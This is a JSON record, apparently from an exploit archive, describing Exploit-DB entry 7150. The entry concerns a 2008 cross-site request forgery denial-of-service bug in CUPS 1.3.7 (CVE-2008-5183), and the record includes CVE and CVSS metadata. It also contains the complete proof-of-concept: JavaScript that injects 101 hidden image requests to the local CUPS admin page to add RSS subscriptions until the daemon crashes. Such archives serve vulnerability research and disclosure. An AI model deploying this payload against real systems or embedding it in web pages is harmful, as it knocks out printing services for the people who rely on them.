{"exploit":{"id":"EDB-7150","name":"CUPS 1.3.7 - Cross-Site Request Forgery (CSRF) (Add RSS Subscription) Remote Crash","description":"CUPS 1.3.7 - Cross-Site Request Forgery (CSRF) (Add RSS Subscription) Remote Crash","cves":["CVE-2008-5183"],"author":"Adrian _pagvac_ Pastor","published":"2008-11-18","platform":"linux","type":"dos","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7150","path":"exploits/linux/dos/7150.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7150.html","vulnerabilities":[{"id":"CVE-2008-5183","state":"PUBLISHED","title":null,"titleSource":null,"description":"cupsd in CUPS 1.3.9 and earlier allows local users, and possibly remote attackers, to cause a denial of service (daemon crash) by adding a large number of RSS Subscriptions, which triggers a NULL pointer dereference. NOTE: this issue can be triggered remotely by leveraging CVE-2008-5184.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5183","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5183"},"updatedAt":"2024-08-07T10:40:17.284Z","retrievedAt":"2026-11-26T18:09:25.658Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7150.png?v=2","url":"https://exploitbin.com/exploits/EDB-7150","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7150/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7150/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!-- cat cups_dos_poc.html  -->\n<script>\n// make 101 CSRFed requests to CUPS daemon via 'img' tags\n// causes CUPS daemon to crash\n// by Adrian 'pagvac' Pastor | GNUCITIZEN.org\n\nfor(var i=1;i<=101;++i) {\n    document.write(\"<img width=0 height=0 \" +\n        \"src=\\\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_\" +\n        i + \"&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\\\">\");\n}\n\n/*\nTESTED ON:\n\nUbuntu 8.04.1 (fully patched as of 19th Oct 2008)\nLinux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686 GNU/Linux\n\nopenSUSE 11.0 (i586)\nLinux 2.6.25.5-1.1-default #1 SMP 2008-06-07 01:55:22 +0200 i686 i686 i386 GNU/Linux\n\nCommon UNIX Printing System 1.3.7\n*/\n</script>\n\n# milw0rm.com [2008-11-18]","sha256":"b46a2ac81db865bed48e695b17e0cd758e1b7f97681aff4fcf48dd2965849698","bytes":749,"fetchedAt":"2026-11-26T18:09:19.557Z","encoding":"utf-8 (display only; download retains original bytes)"}